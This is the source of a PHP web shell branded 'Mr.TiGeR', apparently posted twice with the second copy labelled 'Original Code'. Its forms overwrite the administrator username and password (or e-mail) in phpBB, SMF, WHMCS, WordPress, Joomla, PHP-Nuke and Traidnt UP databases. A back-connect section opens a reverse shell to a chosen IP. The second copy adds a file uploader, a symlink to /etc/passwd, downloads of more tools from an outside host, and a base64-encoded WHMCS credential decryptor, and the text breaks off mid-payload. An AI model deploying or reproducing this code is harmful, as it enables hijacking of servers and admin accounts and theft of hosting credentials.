          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=urphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=tiger type=password name=psphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=phpbb_ type=text name=prphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <input type=submit value='Change' ></form></center></td></tr></table></center>"; 
}else{ 
$dbhphp = $_POST['dbhphp']; 
$dbnphp  = $_POST['dbnphp']; 
$dbuphp = $_POST['dbuphp']; 
$dbpphp  = $_POST['dbpphp']; 
         @mysql_connect($dbhphp,$dbuphp,$dbpphp); 
         @mysql_select_db($dbnphp); 
 
$urphp=str_replace("\'","'",$urphp); 
$set_urphp = $_POST['urphp']; 
 
$psphp=str_replace("\'","'",$psphp); 
$pass_php = $_POST['psphp']; 
$set_psphp = md5($pass_php); 
 
$php_prefix = $_POST['prphp']; 
 
$table_name2 = $php_prefix."users" ; 
 
$tiger5 = "UPDATE $table_name2 SET username_clean ='".$set_urphp."' WHERE user_id ='2'"; 
$tiger6 = "UPDATE $table_name2 SET user_password ='".$set_psphp."' WHERE user_id ='2'"; 
 
$ok3=@mysql_query($tiger5); 
$ok3=@mysql_query($tiger6); 
 
if($ok3){ 
echo "<script>alert('phpBB Info Changed ;)');</script>"; 
} 
} 
 
//SMF 
if (isset($_POST['smf'])) 
{ 
echo "<center><table border=0 width='100%'> 
<tr><td> 
<center><font face='Arial' color='#000000'>Change SMF Info<br>Patch Control Panel : [patch]/index.php?action=admin<br>Path Config : [patch]/Settings.php</font></center> 
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhsmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB name<br></font><input value=smf type=text name=dbnsmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbusmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpsmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=ursmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change E-mail admin<br></font><input [email protected] type=text name=emsmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=smf_ type=text name=prsmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <input type=submit value='Change' ></form></center></td></tr></table></center>"; 
}else{ 
$dbhsmf = $_POST['dbhsmf']; 
$dbnsmf  = $_POST['dbnsmf']; 
$dbusmf = $_POST['dbusmf']; 
$dbpsmf  = $_POST['dbpsmf']; 
         @mysql_connect($dbhsmf,$dbusmf,$dbpsmf); 
         @mysql_select_db($dbnsmf); 
 
$ursmf=str_replace("\'","'",$ursmf); 
$set_ursmf = $_POST['ursmf']; 
 
$emsmf=str_replace("\'","'",$emsmf); 
$set_emsmf = $_POST['emsmf']; 
 
$smf_prefix = $_POST['prsmf']; 
 
$table_name3 = $smf_prefix."members" ; 
 
$tiger7 = "UPDATE $table_name3 SET member_name ='".$set_ursmf."' WHERE id_member ='1'"; 
$tiger8 = "UPDATE $table_name3 SET email_address ='".$set_emsmf."' WHERE id_member ='1'"; 
 
$tiger7 = "UPDATE $table_name3 SET memberName ='".$set_ursmf."' WHERE ID_MEMBER ='1'"; 
$tiger8 = "UPDATE $table_name3 SET emailAddress ='".$set_emsmf."' WHERE ID_MEMBER ='1'"; 
 
$ok4=@mysql_query($tiger7); 
$ok4=@mysql_query($tiger8); 
 
if($ok4){ 
echo "<script>alert('SMF Info Changed ;)');</script>"; 
} 
} 
 
//WHMCS 
if (isset($_POST['whmcs'])) 
{ 
echo "<center><table border=0 width='100%'> 
<tr><td> 
<center><font face='Arial' color='#000000'>Change WHMCS Info<br>Patch Control Panel : [patch]/admin<br>Path Config : [patch]/configuration.php</font></center> 
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhwhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB name<br></font><input value=whmcs type=text name=dbnwhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuwhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpwhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=urwhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=tiger type=password name=pswhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <input type=submit value='Change' ></form></center></td></tr></table></center>"; 
}else{ 
$dbhwhm = $_POST['dbhwhm']; 
$dbnwhm  = $_POST['dbnwhm']; 
$dbuwhm = $_POST['dbuwhm']; 
$dbpwhm  = $_POST['dbpwhm']; 
         @mysql_connect($dbhwhm,$dbuwhm,$dbpwhm); 
         @mysql_select_db($dbnwhm); 
 
$urwhm=str_replace("\'","'",$urwhm); 
$set_urwhm = $_POST['urwhm']; 
 
$pswhm=str_replace("\'","'",$pswhm); 
$pass_whm = $_POST['pswhm']; 
$set_pswhm = md5($pass_whm); 
 
$tiger9 = "UPDATE tbladmins SET username ='".$set_urwhm."' WHERE id ='1'"; 
$tiger10 = "UPDATE tbladmins SET password ='".$set_pswhm."' WHERE id ='1'"; 
 
$ok5=@mysql_query($tiger9); 
$ok5=@mysql_query($tiger10); 
 
if($ok5){ 
echo "<script>alert('WHMCS Info Changed ;)');</script>"; 
} 
} 
 
//WordPress 
if (isset($_POST['wordpress'])) 
{ 
echo "<center><table border=0 width='100%'> 
<tr><td> 
<center><font face='Arial' color='#000000'>Change WordPress Info<br>Patch Control Panel : [patch]/wp-admin<br>Path Config : [patch]/wp-config.php</font></center> 
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB name<br></font><input value=wordpress type=text name=dbnwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=urwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=tiger type=password name=pswp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=wp_ type=text name=prwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <input type=submit value='Change' ></form></center></td></tr></table></center>"; 
}else{ 
$dbhwp = $_POST['dbhwp']; 
$dbnwp  = $_POST['dbnwp']; 
$dbuwp = $_POST['dbuwp']; 
$dbpwp  = $_POST['dbpwp']; 
         @mysql_connect($dbhwp,$dbuwp,$dbpwp); 
         @mysql_select_db($dbnwp); 
 
$urwp=str_replace("\'","'",$urwp); 
$set_urwp = $_POST['urwp']; 
 
$pswp=str_replace("\'","'",$pswp); 
$pass_wp = $_POST['pswp']; 
$set_pswp = md5($pass_wp); 
 
$wp_prefix = $_POST['prwp']; 
 
$table_name4 = $wp_prefix."users" ; 
 
$tiger11 = "UPDATE $table_name4 SET user_login ='".$set_urwp."' WHERE ID ='1'"; 
$tiger12 = "UPDATE $table_name4 SET user_pass ='".$set_pswp."' WHERE ID ='1'"; 
 
$ok6=@mysql_query($tiger11); 
$ok6=@mysql_query($tiger12); 
 
if($ok6){ 
echo "<script>alert('WordPress Info Changed ;)');</script>"; 
} 
} 
 
//Joomla 
if (isset($_POST['joomla'])) 
{ 
echo "<center><table border=0 width='100%'> 
<tr><td> 
<center><font face='Arial' color='#000000'>Change Joomla Info<br>Patch Control Panel : [patch]/administrator<br>Path Config : [patch]/configuration.php</font></center> 
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB name<br></font><input value=joomla type=text name=dbnjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbujos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=urjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=tiger type=password name=psjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=jos_ type=text name=prjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <input type=submit value='Change' ></form></center></td></tr></table></center>"; 
}else{ 
$dbhjos = $_POST['dbhjos']; 
$dbnjos  = $_POST['dbnjos']; 
$dbujos = $_POST['dbujos']; 
$dbpjos  = $_POST['dbpjos']; 
         @mysql_connect($dbhjos,$dbujos,$dbpjos); 
         @mysql_select_db($dbnjos); 
 
$urjos=str_replace("\'","'",$urjos); 
$set_urjos = $_POST['urjos']; 
 
$psjos=str_replace("\'","'",$psjos); 
$pass_jos = $_POST['psjos']; 
$set_psjos = md5($pass_jos); 
 
$jos_prefix = $_POST['prjos']; 
 
$table_name5 = $jos_prefix."users" ; 
 
$tiger13 = "UPDATE $table_name5 SET username ='".$set_urjos."' WHERE id ='62'"; 
$tiger14 = "UPDATE $table_name5 SET password ='".$set_psjos."' WHERE id ='62'"; 
 
$ok7=@mysql_query($tiger13); 
$ok7=@mysql_query($tiger14); 
 
if($ok7){ 
echo "<script>alert('Joomla Info Changed ;)');</script>"; 
} 
} 
 
//PHP-NUKE 
if (isset($_POST['php-nuke'])) 
{ 
echo "<center><table border=0 width='100%'> 
<tr><td> 
<center><font face='Arial' color='#000000'>Change PHP-NUKE Info<br>Patch Control Panel : [patch]/admin.php<br>Path Config : [patch]/config.php</font></center> 
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhpnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB name<br></font><input value=phpnuke type=text name=dbnpnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbupnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbppnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=urpnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=tiger type=password name=pspnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=nuke_ type=text name=prpnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <input type=submit value='Change' ></form></center></td></tr></table></center>"; 
}else{ 
$dbhpnk = $_POST['dbhpnk']; 
$dbnpnk  = $_POST['dbnpnk']; 
$dbupnk = $_POST['dbupnk']; 
$dbppnk  = $_POST['dbppnk']; 
         @mysql_connect($dbhpnk,$dbupnk,$dbppnk); 
         @mysql_select_db($dbnpnk); 
 
$urpnk=str_replace("\'","'",$urpnk); 
$set_urpnk = $_POST['urpnk']; 
 
$pspnk=str_replace("\'","'",$pspnk); 
$pass_pnk = $_POST['pspnk']; 
$set_pspnk = md5($pass_pnk); 
 
$pnk_prefix = $_POST['prpnk']; 
 
$table_name6 = $pnk_prefix."users" ; 
$table_name7 = $pnk_prefix."authors" ; 
 
$tiger15 = "UPDATE $table_name6 SET username ='".$set_urpnk."' WHERE user_id ='2'"; 
$tiger16 = "UPDATE $table_name6 SET user_password ='".$set_pspnk."' WHERE user_id ='2'"; 
 
$tiger17 = "UPDATE $table_name7 SET aid ='".$set_urpnk."' WHERE radminsuper ='1'"; 
$tiger18 = "UPDATE $table_name7 SET pwd ='".$set_pspnk."' WHERE radminsuper ='1'"; 
 
$ok8=@mysql_query($tiger15); 
$ok8=@mysql_query($tiger16); 
$ok8=@mysql_query($tiger17); 
$ok8=@mysql_query($tiger18); 
 
if($ok8){ 
echo "<script>alert('PHP-NUKE Info Changed ;)');</script>"; 
} 
} 
 
//Traidnt UP 
if (isset($_POST['up'])) 
{ 
echo "<center><table border=0 width='100%'> 
<tr><td> 
<center><font face='Arial' color='#000000'>Change Traidnt UP Info<br>Patch Control Panel : [patch]/uploadcp<br>Path Config : [patch]/includes/config.php</font></center> 
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB name<br></font><input value=upload type=text name=dbnup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=urup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=tiger type=password name=psup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br> 
          <input type=submit value='Change' ></form></center></td></tr></table></center>"; 
}else{ 
$dbhup = $_POST['dbhup']; 
$dbnup  = $_POST['dbnup']; 
$dbuup = $_POST['dbuup']; 
$dbpup  = $_POST['dbpup']; 
         @mysql_connect($dbhup,$dbuup,$dbpup); 
         @mysql_select_db($dbnup); 
 
$urup=str_replace("\'","'",$urup); 
$set_urup = $_POST['urup']; 
 
$psup=str_replace("\'","'",$psup); 
$pass_up = $_POST['psup']; 
$set_psup = md5($pass_up); 
 
$tiger19 = "UPDATE admin SET admin_user ='".$set_urup."' WHERE admin_id ='1'"; 
$tiger20 = "UPDATE admin SET admin_password ='".$set_psup."' WHERE admin_id ='1'"; 
 
$ok9=@mysql_query($tiger19); 
$ok9=@mysql_query($tiger20); 
 
if($ok9){ 
echo "<script>alert('Traidnt UP Info Changed ;)');</script>"; 
} 
} 
 
//Copyright 
 
//CODED BY tiger 
//END 
?> 
<? 
print ( '<title>Mr.TiGeR Connect</title>' ); 
 
echo "<center><table border='1' width='40%' id='table1' border='1' cellPadding=5 cellSpacing=0 borderColorDark=#666666 bordercolorlight='#C0C0C0'> 
	<tr> 
		<td><font color='#FF0000'> 
		  <center></font><font size='4'><font color='#FF0000'> 
		  </font><b><font color='#FF0000'> 
		  Mr.TiGeR</font><font color='#000000'><br></font> 
			<font color='#0000FF'> 
			</b></tr><br><b>Mr.TiGeR Connect<br>  
            Usage: nc -vv -l -p 21<br> 
            <hr>  
            <form method='POST' action=''><br>  
            Your IP & Port:<br>  
            <input type='text' name='ipim' size='15' value=''> 
            <input type='text' name='portum' size='5' value='21'><br><br>  
            <input type='submit' value='Connect'><br><br> 
            <hr> 
            </form>";  
             
         $ipim=$_POST['ipim'];  
         $portum=$_POST['portum'];  
         if ($ipim <> "")  
         {  
         $mucx=fsockopen($ipim , $portum , $errno, $errstr );  
         if (!$mucx){  
               $result = "Error: didnt connect !!!";  
         }  
         else {  
          
         $zamazing0="
"; 
                   
         fputs ($mucx ,"
welcome Mr.TiGeR

"); 
         fputs($mucx , system("uname -a") .$zamazing0 ); 
         fputs($mucx , system("pwd") .$zamazing0 ); 
         fputs($mucx , system("id") .$zamazing0.$zamazing0 ); 
         while(!feof($mucx)){   
       fputs ($mucx);  
       $one="[$"; 
       $two="]"; 
       $result= fgets ($mucx, 8192);  
      $message=`$result`;  
       fputs ($mucx, $one. system("whoami") .$two. " " .$message."
");  
      }  
      fclose ($mucx);  
         }  
         }  
 
?> 

Did this file decode correctly?

Original Code

&#65279;<p align="right"></p><body bgcolor="#FFFFFF">
 </table>
  </fieldset></form>

<p align="center">
   <b>[VIP]</b>
  </p>
<p align="center"><b><font color="#ff0000" face="Webdings" size="6">!</font><small><a
       href="" style="text-decoration: none; font-weight: 700;"><font
       color="#dadada" face="Times New Roman" size="5"><small>Download Toolz</small></font></a></small><font
       color="#ff0000" face="Webdings" size="6">!</font></b></p>    <form method="POST">
            <p align="center">Name dir:
            <input type="text" value="tmp" name="name_dir_download" size="26" />
            <input type="submit" value="Done ..!" name="submit_download" /></p>
            </p>
    </form>

<?

//Begining of Coding
error_reporting(0);
    $info = $_SERVER['SERVER_SOFTWARE'];
    $site = getenv("HTTP_HOST");
    $page = $_SERVER['SCRIPT_NAME'];
    $sname = $_SERVER['SERVER_NAME'];
    $uname = php_uname();
    $smod = ini_get('safe_mode');
    $disfunc = ini_get('disable_functions');
    $yourip = $_SERVER['REMOTE_ADDR'];
    $serverip = $_SERVER['SERVER_ADDR'];
    $version = phpversion();
    $ccc = realpath($_GET['chdir'])."/";

//PHPinfo
if(isset($_POST['phpinfo']))
{
	die(phpinfo());
}

//Safemode
if(ini_get($smod))
{
    $c_h = "<font color=red face='Verdana' size='1'>ON</font>";
}
else
{
    $c_h = "<font face='Verdana' size='1' color=green>OFF</font>";
}

//Disable Functions
if (''==($disfunc))
{
    $dis = "<font color=green>None</font>";
}
else
{
    $dis = "<font color=red>$disfunc</font>";
}

//Dir
if(isset($_GET['dir']) && is_dir($_GET['dir']))
{
 chdir($_GET['dir']);
}

$ccc = realpath($_GET['chdir'])."/";

//Title
echo "<head>
<style>
body { font-size: 12px;
           font-family: arial, helvetica;
            scrollbar-width: 5;
            scrollbar-height: 5;
            scrollbar-face-color: black;
            scrollbar-shadow-color: silver;
            scrollbar-highlight-color: silver;
            scrollbar-3dlight-color:silver;
            scrollbar-darkshadow-color: silver;
            scrollbar-track-color: black;
            scrollbar-arrow-color: silver;
    }
</style>
<title>Mr.TiGeR - [$site]</title></head>";

//Main table
echo "<center><table border='1' width='40%' id='table1' border='1' cellPadding=5 cellSpacing=0 borderColorDark=#666666 bordercolorlight='#C0C0C0'>
	<tr>
		<td><font color='#FF0000'>
		  <center></font><font size='4'><font color='#FF0000'>
		  </font><b><font color='#FF0000'>
		  Mr.TiGeR</font><font color='#000000'><br></font>
			<font color='#0000FF'>
			</b></tr>
	<tr>
		<td  style='border: 1px solid #333333'>
		<center><font face='Verdana' size='1' color='#000000'>Site: <u>$site</u><br>Server name: <u>$sname</u><br>Software: <u>$info</u><br>Version : <u>$version</u><br>Uname -a: <u>$uname</u><br>Path: <u>$ccc</u><br>Safemode: <u>$c_h</u><br>Disable Functions: <u>$dis</u><br>Page: <u>$page</u><br>Your IP: <u>$yourip</u><br>Server IP: <u><a target=_blank href='http://whois.domaintools.com/".$serverip."'>$serverip</a></u></font></td>
	</tr>
</table></center>";
echo '<br><center><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
	<font color="#0000FF"><b>Upload ;)</b></font><br><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form></center>';

//Button List
echo "<center><form method=POST action''><input type=submit name=vbulletin value='vBulletin'><input type=submit name=mybb value='MyBB'><input type=submit name=phpbb value='phpBB'><input type=submit name=smf value='SMF'><input type=submit name=whmcs value='WHMCS'><input type=submit name=wordpress value='WordPress'><input type=submit name=joomla value='Joomla'><input type=submit name=php-nuke value='PHP-NUKE'><input type=submit name=up value='Traidnt UP'></form></center>";

echo "<center><form method=POST action''><input type=submit name=vbulletin value='vBulletin'><input type=submit name=mybb value='MyBB'><input type=submit name=phpbb value='phpBB'><input type=submit name=smf value='SMF'><input type=submit name=whmcs value='WHMCS'><input type=submit name=wordpress value='WordPress'><input type=submit name=joomla value='Joomla'><input type=submit name=php-nuke value='PHP-NUKE'><input type=submit name=up value='Traidnt UP'></form></center>";

//Upload
if( $_POST['_upl'] == "Upload" ) {
	if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<p align="center"><b>Upload Successfully :)</b><br><br></p>'; }
	else { echo '<p align="center"><b>Sorry You Cant :(</b><br><br></p>'; }
}
// ViP
function download_files($dir_name='shell'){
    global $_POST,$_GET,$_SERVER;
if(is_dir($dir_name)){    
    //unlink($dir_name);
}else{
mkdir($dir_name, 0755);
chmod("$dir_name" , 0755);
}
system("$dir.ln -s /etc/passwd 11.txt");
//sql 2
$file = fopen("mysql.php" ,"w+");
$sa=file_get_contents('http://aljazeera7.com/~dzrechar/pv8L/mysql.txt');
$write = fwrite ($file ,$sa);

//sql 1 
$file = fopen("sql.php" ,"w+");
$sa=file_get_contents('http://aljazeera7.com/~dzrechar/pv8L/sql.txt');
$write = fwrite ($file ,$sa);


//whmcs Symlink 

$file = fopen($dir."11.php" ,"w+");
$sa=base64_decode('Cjw/cGhwCmVjaG8gIjxoZWFkPgo8c3R5bGU+CmJvZHkgeyBmb250LXNpemU6IDEycHg7CiAgICAgICAgICAgZm9udC1mYW1pbHk6IGFyaWFsLCBoZWx2ZXRpY2E7CiAgICAgICAgICAgIHNjcm9sbGJhci13aWR0aDogNTsKICAgICAgICAgICAgc2Nyb2xsYmFyLWhlaWdodDogNTsKICAgICAgICAgICAgc2Nyb2xsYmFyLWZhY2UtY29sb3I6IGJsYWNrOwogICAgICAgICAgICBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiBzaWx2ZXI7CiAgICAgICAgICAgIHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6IHNpbHZlcjsKICAgICAgICAgICAgc2Nyb2xsYmFyLTNkbGlnaHQtY29sb3I6c2lsdmVyOwogICAgICAgICAgICBzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogc2lsdmVyOwogICAgICAgICAgICBzY3JvbGxiYXItdHJhY2stY29sb3I6IGJsYWNrOwogICAgICAgICAgICBzY3JvbGxiYXItYXJyb3ctY29sb3I6IHNpbHZlcjsKICAgIH0KPC9zdHlsZT4KPHRpdGxlPlRvMG9seiAyIC0gQ3liM3ItZHogPC90aXRsZT48L2hlYWQ+IjsKCgoKCmZ1bmN0aW9uIGRlY3J5cHQgKCRzdHJpbmcsJGNjX2VuY3J5cHRpb25faGFzaCkKewoKCSRrZXkgPSBtZDUgKG1kNSAoJGNjX2VuY3J5cHRpb25faGFzaCkpIC4gbWQ1ICgkY2NfZW5jcnlwdGlvbl9oYXNoKTsKCSRoYXNoX2tleSA9IF9oYXNoICgka2V5KTsKCSRoYXNoX2xlbmd0aCA9IHN0cmxlbiAoJGhhc2hfa2V5KTsKCSRzdHJpbmcgPSBiYXNlNjRfZGVjb2RlICgkc3RyaW5nKTsKCSR0bXBfaXYgPSBzdWJzdHIgKCRzdHJpbmcsIDAsICRoYXNoX2xlbmd0aCk7Cgkkc3RyaW5nID0gc3Vic3RyICgkc3RyaW5nLCAkaGFzaF9sZW5ndGgsIHN0cmxlbiAoJHN0cmluZykgLSAkaGFzaF9sZW5ndGgpOwoJJGl2ID0gJG91dCA9ICcnOwoJJGMgPSAwOwoJd2hpbGUgKCRjIDwgJGhhc2hfbGVuZ3RoKQoJewoJCSRpdiAuPSBjaHIgKG9yZCAoJHRtcF9pdlskY10pIF4gb3JkICgkaGFzaF9rZXlbJGNdKSk7CgkJKyskYzsKCX0KCgkka2V5ID0gJGl2OwoJJGMgPSAwOwoJd2hpbGUgKCRjIDwgc3RybGVuICgkc3RyaW5nKSkKCXsKCQlpZiAoKCRjICE9IDAgQU5EICRjICUgJGhhc2hfbGVuZ3RoID09IDApKQoJCXsKCQkJJGtleSA9IF9oYXNoICgka2V5IC4gc3Vic3RyICgkb3V0LCAkYyAtICRoYXNoX2xlbmd0aCwgJGhhc2hfbGVuZ3RoKSk7CgkJfQoKCQkkb3V0IC49IGNociAob3JkICgka2V5WyRjICUgJGhhc2hfbGVuZ3RoXSkgXiBvcmQgKCRzdHJpbmdbJGNdKSk7CgkJKyskYzsKCX0KCglyZXR1cm4gJG91dDsKfQoKCmZ1bmN0aW9uIF9oYXNoICgkc3RyaW5nKQp7CglpZiAoZnVuY3Rpb25fZXhpc3RzICgnc2hhMScpKQoJewoJCSRoYXNoID0gc2hhMSAoJHN0cmluZyk7Cgl9CgllbHNlCgl7CgkJJGhhc2ggPSBtZDUgKCRzdHJpbmcpOwoJfQoKCSRvdXQgPSAnJzsKCSRjID0gMDsKCXdoaWxlICgkYyA8IHN0cmxlbiAoJGhhc2gpKQoJewoJCSRvdXQgLj0gY2hyIChoZXhkZWMgKCRoYXNoWyRjXSAuICRoYXNoWyRjICsgMV0pKTsKCQkkYyArPSAyOwoJfQoKCXJldHVybiAkb3V0Owp9CgogaWYoJF9QT1NUWydmb3JtX2FjdGlvbiddID09IDEgKQogewogLy9pbmNsdWRlKCRmaWxlKTsKCiAkZmlsZT0oJF9QT1NUWydmaWxlJ10pOwokdGV4dD1maWxlX2dldF9jb250ZW50cygkZmlsZSk7CgokdGV4dD0gc3RyX3JlcGxhY2UoIjw/cGhwIiwgIiIsICR0ZXh0KTsKJHRleHQ9IHN0cl9yZXBsYWNlKCI8PyIsICIiLCAkdGV4dCk7CiR0ZXh0PSBzdHJfcmVwbGFjZSgiPz4iLCAiIiwgJHRleHQpOwoKZXZhbCgkdGV4dCk7CgogICAgJGxpbms9bXlzcWxfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkKSA7CgkgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7CgokcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7Cgp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKCiRpcGFkZHJlc3MgPSAkdlsnaXBhZGRyZXNzJ107CiR1c2VybmFtZSA9ICR2Wyd1c2VybmFtZSddOwokdHlwZSA9ICR2Wyd0eXBlJ107CiRhY3RpdmUgPSAkdlsnYWN0aXZlJ107CiRob3N0bmFtZSA9ICR